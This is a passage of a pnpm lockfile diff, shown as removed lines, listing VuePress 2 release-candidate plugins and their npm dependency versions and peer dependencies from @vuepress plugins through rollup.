5.4.4 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - typescript - - '@vuepress/plugin-pwa@2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vueuse/core': 10.11.0(vue@3.4.34) - mitt: 3.0.1 - register-service-worker: 1.7.2 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - workbox-build: 7.1.1 - transitivePeerDependencies: - - '@types/babel__core' - - '@vue/composition-api' - - supports-color - - typescript - - '@vuepress/plugin-reading-time@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-rtl@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-sass-palette@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - chokidar: 3.6.0 - sass: 1.77.8 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-seo@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-shiki@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@shikijs/transformers': 1.11.1 - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - '@vuepress/highlighter-helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - nanoid: 5.0.7 - shiki: 1.11.1 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-sitemap@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - sitemap: 8.0.0 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-theme-data@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vue/devtools-api': 6.6.3 - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - transitivePeerDependencies: - - typescript - - '@vuepress/plugin-watermark@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))': - dependencies: - '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)) - vue: 3.4.34 - vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34) - watermark-js-plus: 1.5.2 - transitivePeerDependencies: - - typescript - - '@vuepress/shared@2.0.0-rc.14': - dependencies: - '@mdit-vue/types': 2.1.0 - - '@vuepress/utils@2.0.0-rc.14': - dependencies: - '@types/debug': 4.1.12 - '@types/fs-extra': 11.0.4 - '@types/hash-sum': 1.0.2 - '@vuepress/shared': 2.0.0-rc.14 - debug: 4.3.5 - fs-extra: 11.2.0 - globby: 14.0.2 - hash-sum: 2.0.0 - ora: 8.0.1 - picocolors: 1.0.1 - upath: 2.0.1 - transitivePeerDependencies: - - supports-color - - '@vueuse/core@10.11.0(vue@3.4.34)': - dependencies: - '@types/web-bluetooth': 0.0.20 - '@vueuse/metadata': 10.11.0 - '@vueuse/shared': 10.11.0(vue@3.4.34) - vue-demi: 0.14.9(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - vue - - '@vueuse/metadata@10.11.0': {} - - '@vueuse/shared@10.11.0(vue@3.4.34)': - dependencies: - vue-demi: 0.14.9(vue@3.4.34) - transitivePeerDependencies: - - '@vue/composition-api' - - vue - - acorn@8.12.1: {} - - ajv@8.17.1: - dependencies: - fast-deep-equal: 3.1.3 - fast-uri: 3.0.1 - json-schema-traverse: 1.0.0 - require-from-string: 2.0.2 - - algoliasearch@4.24.0: - dependencies: - '@algolia/cache-browser-local-storage': 4.24.0 - '@algolia/cache-common': 4.24.0 - '@algolia/cache-in-memory': 4.24.0 - '@algolia/client-account': 4.24.0 - '@algolia/client-analytics': 4.24.0 - '@algolia/client-common': 4.24.0 - '@algolia/client-personalization': 4.24.0 - '@algolia/client-search': 4.24.0 - '@algolia/logger-common': 4.24.0 - '@algolia/logger-console': 4.24.0 - '@algolia/recommend': 4.24.0 - '@algolia/requester-browser-xhr': 4.24.0 - '@algolia/requester-common': 4.24.0 - '@algolia/requester-node-http': 4.24.0 - '@algolia/transporter': 4.24.0 - - ansi-regex@5.0.1: {} - - ansi-regex@6.0.1: {} - - ansi-styles@3.2.1: - dependencies: - color-convert: 1.9.3 - - ansi-styles@4.3.0: - dependencies: - color-convert: 2.0.1 - - anymatch@3.1.3: - dependencies: - normalize-path: 3.0.0 - picomatch: 2.3.1 - - arg@5.0.2: {} - - argparse@1.0.10: - dependencies: - sprintf-js: 1.0.3 - - argparse@2.0.1: {} - - array-buffer-byte-length@1.0.1: - dependencies: - call-bind: 1.0.7 - is-array-buffer: 3.0.4 - - arraybuffer.prototype.slice@1.0.3: - dependencies: - array-buffer-byte-length: 1.0.1 - call-bind: 1.0.7 - define-properties: 1.2.1 - es-abstract: 1.23.3 - es-errors: 1.3.0 - get-intrinsic: 1.2.4 - is-array-buffer: 3.0.4 - is-shared-array-buffer: 1.0.3 - - async@3.2.5: {} - - at-least-node@1.0.0: {} - - autoprefixer@10.4.19(postcss@8.4.40): - dependencies: - browserslist: 4.23.2 - caniuse-lite: 1.0.30001643 - fraction.js: 4.3.7 - normalize-range: 0.1.2 - picocolors: 1.0.1 - postcss: 8.4.40 - postcss-value-parser: 4.2.0 - - available-typed-arrays@1.0.7: - dependencies: - possible-typed-array-names: 1.0.0 - - babel-plugin-polyfill-corejs2@0.4.11(@babel/core@7.24.9): - dependencies: - '@babel/compat-data': 7.24.9 - '@babel/core': 7.24.9 - '@babel/helper-define-polyfill-provider': 0.6.2(@babel/core@7.24.9) - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - - babel-plugin-polyfill-corejs3@0.10.4(@babel/core@7.24.9): - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-define-polyfill-provider': 0.6.2(@babel/core@7.24.9) - core-js-compat: 3.37.1 - transitivePeerDependencies: - - supports-color - - babel-plugin-polyfill-regenerator@0.6.2(@babel/core@7.24.9): - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-define-polyfill-provider': 0.6.2(@babel/core@7.24.9) - transitivePeerDependencies: - - supports-color - - balanced-match@1.0.2: {} - - balloon-css@1.2.0: {} - - bcrypt-ts@5.0.2: {} - - binary-extensions@2.3.0: {} - - boolbase@1.0.0: {} - - brace-expansion@1.1.11: - dependencies: - balanced-match: 1.0.2 - concat-map: 0.0.1 - - brace-expansion@2.0.1: - dependencies: - balanced-match: 1.0.2 - - braces@3.0.3: - dependencies: - fill-range: 7.1.1 - - browserslist@4.23.2: - dependencies: - caniuse-lite: 1.0.30001643 - electron-to-chromium: 1.5.1 - node-releases: 2.0.18 - update-browserslist-db: 1.1.0(browserslist@4.23.2) - - buffer-from@1.1.2: {} - - builtin-modules@3.3.0: {} - - cac@6.7.14: {} - - call-bind@1.0.7: - dependencies: - es-define-property: 1.0.0 - es-errors: 1.3.0 - function-bind: 1.1.2 - get-intrinsic: 1.2.4 - set-function-length: 1.2.2 - - camelcase@5.3.1: {} - - caniuse-lite@1.0.30001643: {} - - chalk@2.4.2: - dependencies: - ansi-styles: 3.2.1 - escape-string-regexp: 1.0.5 - supports-color: 5.5.0 - - chalk@4.1.2: - dependencies: - ansi-styles: 4.3.0 - supports-color: 7.2.0 - - chalk@5.3.0: {} - - cheerio-select@2.1.0: - dependencies: - boolbase: 1.0.0 - css-select: 5.1.0 - css-what: 6.1.0 - domelementtype: 2.3.0 - domhandler: 5.0.3 - domutils: 3.1.0 - - cheerio@1.0.0-rc.12: - dependencies: - cheerio-select: 2.1.0 - dom-serializer: 2.0.0 - domhandler: 5.0.3 - domutils: 3.1.0 - htmlparser2: 8.0.2 - parse5: 7.1.2 - parse5-htmlparser2-tree-adapter: 7.0.0 - - chokidar@3.6.0: - dependencies: - anymatch: 3.1.3 - braces: 3.0.3 - glob-parent: 5.1.2 - is-binary-path: 2.1.0 - is-glob: 4.0.3 - normalize-path: 3.0.0 - readdirp: 3.6.0 - optionalDependencies: - fsevents: 2.3.3 - - cli-cursor@4.0.0: - dependencies: - restore-cursor: 4.0.0 - - cli-spinners@2.9.2: {} - - cliui@6.0.0: - dependencies: - string-width: 4.2.3 - strip-ansi: 6.0.1 - wrap-ansi: 6.2.0 - - color-convert@1.9.3: - dependencies: - color-name: 1.1.3 - - color-convert@2.0.1: - dependencies: - color-name: 1.1.4 - - color-name@1.1.3: {} - - color-name@1.1.4: {} - - commander@2.20.3: {} - - commander@9.2.0: {} - - common-tags@1.8.2: {} - - concat-map@0.0.1: {} - - connect-history-api-fallback@2.0.0: {} - - convert-source-map@2.0.0: {} - - core-js-compat@3.37.1: - dependencies: - browserslist: 4.23.2 - - create-codepen@2.0.0: {} - - cross-spawn@7.0.3: - dependencies: - path-key: 3.1.1 - shebang-command: 2.0.0 - which: 2.0.2 - - crypto-random-string@2.0.0: {} - - css-select@5.1.0: - dependencies: - boolbase: 1.0.0 - css-what: 6.1.0 - domhandler: 5.0.3 - domutils: 3.1.0 - nth-check: 2.1.1 - - css-what@6.1.0: {} - - csstype@3.1.3: {} - - data-view-buffer@1.0.1: - dependencies: - call-bind: 1.0.7 - es-errors: 1.3.0 - is-data-view: 1.0.1 - - data-view-byte-length@1.0.1: - dependencies: - call-bind: 1.0.7 - es-errors: 1.3.0 - is-data-view: 1.0.1 - - data-view-byte-offset@1.0.0: - dependencies: - call-bind: 1.0.7 - es-errors: 1.3.0 - is-data-view: 1.0.1 - - dayjs@1.11.12: {} - - debug@4.3.5: - dependencies: - ms: 2.1.2 - - decamelize@1.2.0: {} - - deepmerge@4.3.1: {} - - define-data-property@1.1.4: - dependencies: - es-define-property: 1.0.0 - es-errors: 1.3.0 - gopd: 1.0.1 - - define-properties@1.2.1: - dependencies: - define-data-property: 1.1.4 - has-property-descriptors: 1.0.2 - object-keys: 1.1.1 - - dijkstrajs@1.0.3: {} - - dom-serializer@2.0.0: - dependencies: - domelementtype: 2.3.0 - domhandler: 5.0.3 - entities: 4.5.0 - - domelementtype@2.3.0: {} - - domhandler@5.0.3: - dependencies: - domelementtype: 2.3.0 - - domutils@3.1.0: - dependencies: - dom-serializer: 2.0.0 - domelementtype: 2.3.0 - domhandler: 5.0.3 - - ejs@3.1.10: - dependencies: - jake: 10.9.2 - - electron-to-chromium@1.5.1: {} - - emoji-regex@10.3.0: {} - - emoji-regex@8.0.0: {} - - encode-utf8@1.0.3: {} - - entities@4.5.0: {} - - envinfo@7.13.0: {} - - es-abstract@1.23.3: - dependencies: - array-buffer-byte-length: 1.0.1 - arraybuffer.prototype.slice: 1.0.3 - available-typed-arrays: 1.0.7 - call-bind: 1.0.7 - data-view-buffer: 1.0.1 - data-view-byte-length: 1.0.1 - data-view-byte-offset: 1.0.0 - es-define-property: 1.0.0 - es-errors: 1.3.0 - es-object-atoms: 1.0.0 - es-set-tostringtag: 2.0.3 - es-to-primitive: 1.2.1 - function.prototype.name: 1.1.6 - get-intrinsic: 1.2.4 - get-symbol-description: 1.0.2 - globalthis: 1.0.4 - gopd: 1.0.1 - has-property-descriptors: 1.0.2 - has-proto: 1.0.3 - has-symbols: 1.0.3 - hasown: 2.0.2 - internal-slot: 1.0.7 - is-array-buffer: 3.0.4 - is-callable: 1.2.7 - is-data-view: 1.0.1 - is-negative-zero: 2.0.3 - is-regex: 1.1.4 - is-shared-array-buffer: 1.0.3 - is-string: 1.0.7 - is-typed-array: 1.1.13 - is-weakref: 1.0.2 - object-inspect: 1.13.2 - object-keys: 1.1.1 - object.assign: 4.1.5 - regexp.prototype.flags: 1.5.2 - safe-array-concat: 1.1.2 - safe-regex-test: 1.0.3 - string.prototype.trim: 1.2.9 - string.prototype.trimend: 1.0.8 - string.prototype.trimstart: 1.0.8 - typed-array-buffer: 1.0.2 - typed-array-byte-length: 1.0.1 - typed-array-byte-offset: 1.0.2 - typed-array-length: 1.0.6 - unbox-primitive: 1.0.2 - which-typed-array: 1.1.15 - - es-define-property@1.0.0: - dependencies: - get-intrinsic: 1.2.4 - - es-errors@1.3.0: {} - - es-object-atoms@1.0.0: - dependencies: - es-errors: 1.3.0 - - es-set-tostringtag@2.0.3: - dependencies: - get-intrinsic: 1.2.4 - has-tostringtag: 1.0.2 - hasown: 2.0.2 - - es-to-primitive@1.2.1: - dependencies: - is-callable: 1.2.7 - is-date-object: 1.0.5 - is-symbol: 1.0.4 - - esbuild@0.21.5: - optionalDependencies: - '@esbuild/aix-ppc64': 0.21.5 - '@esbuild/android-arm': 0.21.5 - '@esbuild/android-arm64': 0.21.5 - '@esbuild/android-x64': 0.21.5 - '@esbuild/darwin-arm64': 0.21.5 - '@esbuild/darwin-x64': 0.21.5 - '@esbuild/freebsd-arm64': 0.21.5 - '@esbuild/freebsd-x64': 0.21.5 - '@esbuild/linux-arm': 0.21.5 - '@esbuild/linux-arm64': 0.21.5 - '@esbuild/linux-ia32': 0.21.5 - '@esbuild/linux-loong64': 0.21.5 - '@esbuild/linux-mips64el': 0.21.5 - '@esbuild/linux-ppc64': 0.21.5 - '@esbuild/linux-riscv64': 0.21.5 - '@esbuild/linux-s390x': 0.21.5 - '@esbuild/linux-x64': 0.21.5 - '@esbuild/netbsd-x64': 0.21.5 - '@esbuild/openbsd-x64': 0.21.5 - '@esbuild/sunos-x64': 0.21.5 - '@esbuild/win32-arm64': 0.21.5 - '@esbuild/win32-ia32': 0.21.5 - '@esbuild/win32-x64': 0.21.5 - - escalade@3.1.2: {} - - escape-string-regexp@1.0.5: {} - - esm@3.2.25: {} - - esprima@4.0.1: {} - - estree-walker@1.0.1: {} - - estree-walker@2.0.2: {} - - esutils@2.0.3: {} - - execa@9.3.0: - dependencies: - '@sindresorhus/merge-streams': 4.0.0 - cross-spawn: 7.0.3 - figures: 6.1.0 - get-stream: 9.0.1 - human-signals: 7.0.0 - is-plain-obj: 4.1.0 - is-stream: 4.0.1 - npm-run-path: 5.3.0 - pretty-ms: 9.1.0 - signal-exit: 4.1.0 - strip-final-newline: 4.0.0 - yoctocolors: 2.1.1 - - extend-shallow@2.0.1: - dependencies: - is-extendable: 0.1.1 - - fast-deep-equal@3.1.3: {} - - fast-glob@3.3.2: - dependencies: - '@nodelib/fs.stat': 2.0.5 - '@nodelib/fs.walk': 1.2.8 - glob-parent: 5.1.2 - merge2: 1.4.1 - micromatch: 4.0.7 - - fast-json-stable-stringify@2.1.0: {} - - fast-uri@3.0.1: {} - - fastq@1.17.1: - dependencies: - reusify: 1.0.4 - - fflate@0.8.2: {} - - figures@6.1.0: - dependencies: - is-unicode-supported: 2.0.0 - - filelist@1.0.4: - dependencies: - minimatch: 5.1.6 - - fill-range@7.1.1: - dependencies: - to-regex-range: 5.0.1 - - find-up@4.1.0: - dependencies: - locate-path: 5.0.0 - path-exists: 4.0.0 - - for-each@0.3.3: - dependencies: - is-callable: 1.2.7 - - fraction.js@4.3.7: {} - - fs-extra@11.2.0: - dependencies: - graceful-fs: 4.2.11 - jsonfile: 6.1.0 - universalify: 2.0.1 - - fs-extra@9.1.0: - dependencies: - at-least-node: 1.0.0 - graceful-fs: 4.2.11 - jsonfile: 6.1.0 - universalify: 2.0.1 - - fs.realpath@1.0.0: {} - - fsevents@2.3.3: - optional: true - - function-bind@1.1.2: {} - - function.prototype.name@1.1.6: - dependencies: - call-bind: 1.0.7 - define-properties: 1.2.1 - es-abstract: 1.23.3 - functions-have-names: 1.2.3 - - functions-have-names@1.2.3: {} - - gensync@1.0.0-beta.2: {} - - get-caller-file@2.0.5: {} - - get-east-asian-width@1.2.0: {} - - get-intrinsic@1.2.4: - dependencies: - es-errors: 1.3.0 - function-bind: 1.1.2 - has-proto: 1.0.3 - has-symbols: 1.0.3 - hasown: 2.0.2 - - get-own-enumerable-property-symbols@3.0.2: {} - - get-stream@9.0.1: - dependencies: - '@sec-ant/readable-stream': 0.4.1 - is-stream: 4.0.1 - - get-symbol-description@1.0.2: - dependencies: - call-bind: 1.0.7 - es-errors: 1.3.0 - get-intrinsic: 1.2.4 - - giscus@1.5.0: - dependencies: - lit: 3.1.4 - - glob-parent@5.1.2: - dependencies: - is-glob: 4.0.3 - - glob@7.2.3: - dependencies: - fs.realpath: 1.0.0 - inflight: 1.0.6 - inherits: 2.0.4 - minimatch: 3.1.2 - once: 1.4.0 - path-is-absolute: 1.0.1 - - globals@11.12.0: {} - - globalthis@1.0.4: - dependencies: - define-properties: 1.2.1 - gopd: 1.0.1 - - globby@14.0.2: - dependencies: - '@sindresorhus/merge-streams': 2.3.0 - fast-glob: 3.3.2 - ignore: 5.3.1 - path-type: 5.0.0 - slash: 5.1.0 - unicorn-magic: 0.1.0 - - gopd@1.0.1: - dependencies: - get-intrinsic: 1.2.4 - - graceful-fs@4.2.11: {} - - gray-matter@4.0.3: - dependencies: - js-yaml: 3.14.1 - kind-of: 6.0.3 - section-matter: 1.0.0 - strip-bom-string: 1.0.0 - - has-bigints@1.0.2: {} - - has-flag@3.0.0: {} - - has-flag@4.0.0: {} - - has-property-descriptors@1.0.2: - dependencies: - es-define-property: 1.0.0 - - has-proto@1.0.3: {} - - has-symbols@1.0.3: {} - - has-tostringtag@1.0.2: - dependencies: - has-symbols: 1.0.3 - - hash-sum@2.0.0: {} - - hasown@2.0.2: - dependencies: - function-bind: 1.1.2 - - htmlparser2@8.0.2: - dependencies: - domelementtype: 2.3.0 - domhandler: 5.0.3 - domutils: 3.1.0 - entities: 4.5.0 - - human-signals@7.0.0: {} - - idb@7.1.1: {} - - ignore@5.3.1: {} - - immutable@4.3.7: {} - - inflight@1.0.6: - dependencies: - once: 1.4.0 - wrappy: 1.0.2 - - inherits@2.0.4: {} - - internal-slot@1.0.7: - dependencies: - es-errors: 1.3.0 - hasown: 2.0.2 - side-channel: 1.0.6 - - is-array-buffer@3.0.4: - dependencies: - call-bind: 1.0.7 - get-intrinsic: 1.2.4 - - is-bigint@1.0.4: - dependencies: - has-bigints: 1.0.2 - - is-binary-path@2.1.0: - dependencies: - binary-extensions: 2.3.0 - - is-boolean-object@1.1.2: - dependencies: - call-bind: 1.0.7 - has-tostringtag: 1.0.2 - - is-builtin-module@3.2.1: - dependencies: - builtin-modules: 3.3.0 - - is-callable@1.2.7: {} - - is-core-module@2.15.0: - dependencies: - hasown: 2.0.2 - - is-data-view@1.0.1: - dependencies: - is-typed-array: 1.1.13 - - is-date-object@1.0.5: - dependencies: - has-tostringtag: 1.0.2 - - is-extendable@0.1.1: {} - - is-extglob@2.1.1: {} - - is-fullwidth-code-point@3.0.0: {} - - is-glob@4.0.3: - dependencies: - is-extglob: 2.1.1 - - is-interactive@2.0.0: {} - - is-module@1.0.0: {} - - is-negative-zero@2.0.3: {} - - is-number-object@1.0.7: - dependencies: - has-tostringtag: 1.0.2 - - is-number@7.0.0: {} - - is-obj@1.0.1: {} - - is-plain-obj@4.1.0: {} - - is-regex@1.1.4: - dependencies: - call-bind: 1.0.7 - has-tostringtag: 1.0.2 - - is-regexp@1.0.0: {} - - is-shared-array-buffer@1.0.3: - dependencies: - call-bind: 1.0.7 - - is-stream@2.0.1: {} - - is-stream@4.0.1: {} - - is-string@1.0.7: - dependencies: - has-tostringtag: 1.0.2 - - is-symbol@1.0.4: - dependencies: - has-symbols: 1.0.3 - - is-typed-array@1.1.13: - dependencies: - which-typed-array: 1.1.15 - - is-unicode-supported@1.3.0: {} - - is-unicode-supported@2.0.0: {} - - is-weakref@1.0.2: - dependencies: - call-bind: 1.0.7 - - isarray@2.0.5: {} - - isexe@2.0.0: {} - - jake@10.9.2: - dependencies: - async: 3.2.5 - chalk: 4.1.2 - filelist: 1.0.4 - minimatch: 3.1.2 - - js-tokens@4.0.0: {} - - js-yaml@3.14.1: - dependencies: - argparse: 1.0.10 - esprima: 4.0.1 - - js-yaml@4.1.0: - dependencies: - argparse: 2.0.1 - - jsesc@0.5.0: {} - - jsesc@2.5.2: {} - - json-schema-traverse@1.0.0: {} - - json-schema@0.4.0: {} - - json5@2.2.3: {} - - jsonfile@6.1.0: - dependencies: - universalify: 2.0.1 - optionalDependencies: - graceful-fs: 4.2.11 - - jsonpointer@5.0.1: {} - - kind-of@6.0.3: {} - - leven@3.1.0: {} - - lilconfig@3.1.2: {} - - linkify-it@5.0.0: - dependencies: - uc.micro: 2.1.0 - - lit-element@4.0.6: - dependencies: - '@lit-labs/ssr-dom-shim': 1.2.0 - '@lit/reactive-element': 2.0.4 - lit-html: 3.1.4 - - lit-html@3.1.4: - dependencies: - '@types/trusted-types': 2.0.7 - - lit@3.1.4: - dependencies: - '@lit/reactive-element': 2.0.4 - lit-element: 4.0.6 - lit-html: 3.1.4 - - locate-path@5.0.0: - dependencies: - p-locate: 4.1.0 - - lodash.debounce@4.0.8: {} - - lodash.sortby@4.7.0: {} - - lodash@4.17.21: {} - - log-symbols@6.0.0: - dependencies: - chalk: 5.3.0 - is-unicode-supported: 1.3.0 - - lru-cache@5.1.1: - dependencies: - yallist: 3.1.1 - - magic-string@0.25.9: - dependencies: - sourcemap-codec: 1.4.8 - - magic-string@0.30.10: - dependencies: - '@jridgewell/sourcemap-codec': 1.5.0 - - markdown-it-anchor@9.0.1(@types/markdown-it@14.1.2)(markdown-it@14.1.0): - dependencies: - '@types/markdown-it': 14.1.2 - markdown-it: 14.1.0 - - markdown-it-emoji@3.0.0: {} - - markdown-it@14.1.0: - dependencies: - argparse: 2.0.1 - entities: 4.5.0 - linkify-it: 5.0.0 - mdurl: 2.0.0 - punycode.js: 2.3.1 - uc.micro: 2.1.0 - - mathjax-full@3.2.2: - dependencies: - esm: 3.2.25 - mhchemparser: 4.2.1 - mj-context-menu: 0.6.1 - speech-rule-engine: 4.0.7 - - mdurl@2.0.0: {} - - merge2@1.4.1: {} - - mhchemparser@4.2.1: {} - - micromatch@4.0.7: - dependencies: - braces: 3.0.3 - picomatch: 2.3.1 - - mimic-fn@2.1.0: {} - - minimatch@3.1.2: - dependencies: - brace-expansion: 1.1.11 - - minimatch@5.1.6: - dependencies: - brace-expansion: 2.0.1 - - mitt@3.0.1: {} - - mj-context-menu@0.6.1: {} - - ms@2.1.2: {} - - nanoid@3.3.7: {} - - nanoid@5.0.7: {} - - node-releases@2.0.18: {} - - normalize-path@3.0.0: {} - - normalize-range@0.1.2: {} - - npm-run-path@5.3.0: - dependencies: - path-key: 4.0.0 - - nth-check@2.1.1: - dependencies: - boolbase: 1.0.0 - - object-inspect@1.13.2: {} - - object-keys@1.1.1: {} - - object.assign@4.1.5: - dependencies: - call-bind: 1.0.7 - define-properties: 1.2.1 - has-symbols: 1.0.3 - object-keys: 1.1.1 - - once@1.4.0: - dependencies: - wrappy: 1.0.2 - - onetime@5.1.2: - dependencies: - mimic-fn: 2.1.0 - - ora@8.0.1: - dependencies: - chalk: 5.3.0 - cli-cursor: 4.0.0 - cli-spinners: 2.9.2 - is-interactive: 2.0.0 - is-unicode-supported: 2.0.0 - log-symbols: 6.0.0 - stdin-discarder: 0.2.2 - string-width: 7.2.0 - strip-ansi: 7.1.0 - - p-limit@2.3.0: - dependencies: - p-try: 2.2.0 - - p-locate@4.1.0: - dependencies: - p-limit: 2.3.0 - - p-try@2.2.0: {} - - parse-ms@4.0.0: {} - - parse5-htmlparser2-tree-adapter@7.0.0: - dependencies: - domhandler: 5.0.3 - parse5: 7.1.2 - - parse5@7.1.2: - dependencies: - entities: 4.5.0 - - path-exists@4.0.0: {} - - path-is-absolute@1.0.1: {} - - path-key@3.1.1: {} - - path-key@4.0.0: {} - - path-parse@1.0.7: {} - - path-type@5.0.0: {} - - photoswipe@5.4.4: {} - - picocolors@1.0.1: {} - - picomatch@2.3.1: {} - - pngjs@5.0.0: {} - - possible-typed-array-names@1.0.0: {} - - postcss-load-config@6.0.1(postcss@8.4.40): - dependencies: - lilconfig: 3.1.2 - optionalDependencies: - postcss: 8.4.40 - - postcss-value-parser@4.2.0: {} - - postcss@8.4.40: - dependencies: - nanoid: 3.3.7 - picocolors: 1.0.1 - source-map-js: 1.2.0 - - preact@10.23.1: {} - - pretty-bytes@5.6.0: {} - - pretty-ms@9.1.0: - dependencies: - parse-ms: 4.0.0 - - punycode.js@2.3.1: {} - - punycode@2.3.1: {} - - qrcode@1.5.3: - dependencies: - dijkstrajs: 1.0.3 - encode-utf8: 1.0.3 - pngjs: 5.0.0 - yargs: 15.4.1 - - queue-microtask@1.2.3: {} - - randombytes@2.1.0: - dependencies: - safe-buffer: 5.2.1 - - readdirp@3.6.0: - dependencies: - picomatch: 2.3.1 - - regenerate-unicode-properties@10.1.1: - dependencies: - regenerate: 1.4.2 - - regenerate@1.4.2: {} - - regenerator-runtime@0.14.1: {} - - regenerator-transform@0.15.2: - dependencies: - '@babel/runtime': 7.24.8 - - regexp.prototype.flags@1.5.2: - dependencies: - call-bind: 1.0.7 - define-properties: 1.2.1 - es-errors: 1.3.0 - set-function-name: 2.0.2 - - regexpu-core@5.3.2: - dependencies: - '@babel/regjsgen': 0.8.0 - regenerate: 1.4.2 - regenerate-unicode-properties: 10.1.1 - regjsparser: 0.9.1 - unicode-match-property-ecmascript: 2.0.0 - unicode-match-property-value-ecmascript: 2.1.0 - - register-service-worker@1.7.2: {} - - regjsparser@0.9.1: - dependencies: - jsesc: 0.5.0 - - require-directory@2.1.1: {} - - require-from-string@2.0.2: {} - - require-main-filename@2.0.0: {} - - resolve@1.22.8: - dependencies: - is-core-module: 2.15.0 - path-parse: 1.0.7 - supports-preserve-symlinks-flag: 1.0.0 - - restore-cursor@4.0.0: - dependencies: - onetime: 5.1.2 - signal-exit: 3.0.7 - - reusify@1.0.4: {} - - rollup@2.79.1: - optionalDependencies: - fsevents: 2.3.3 - - rollup@4.19.0: - dependencies: - '@types/estree': 1.0.5 - optionalDependencies: - '@rollup/rollup-android-arm-eabi': 4.19.0 - 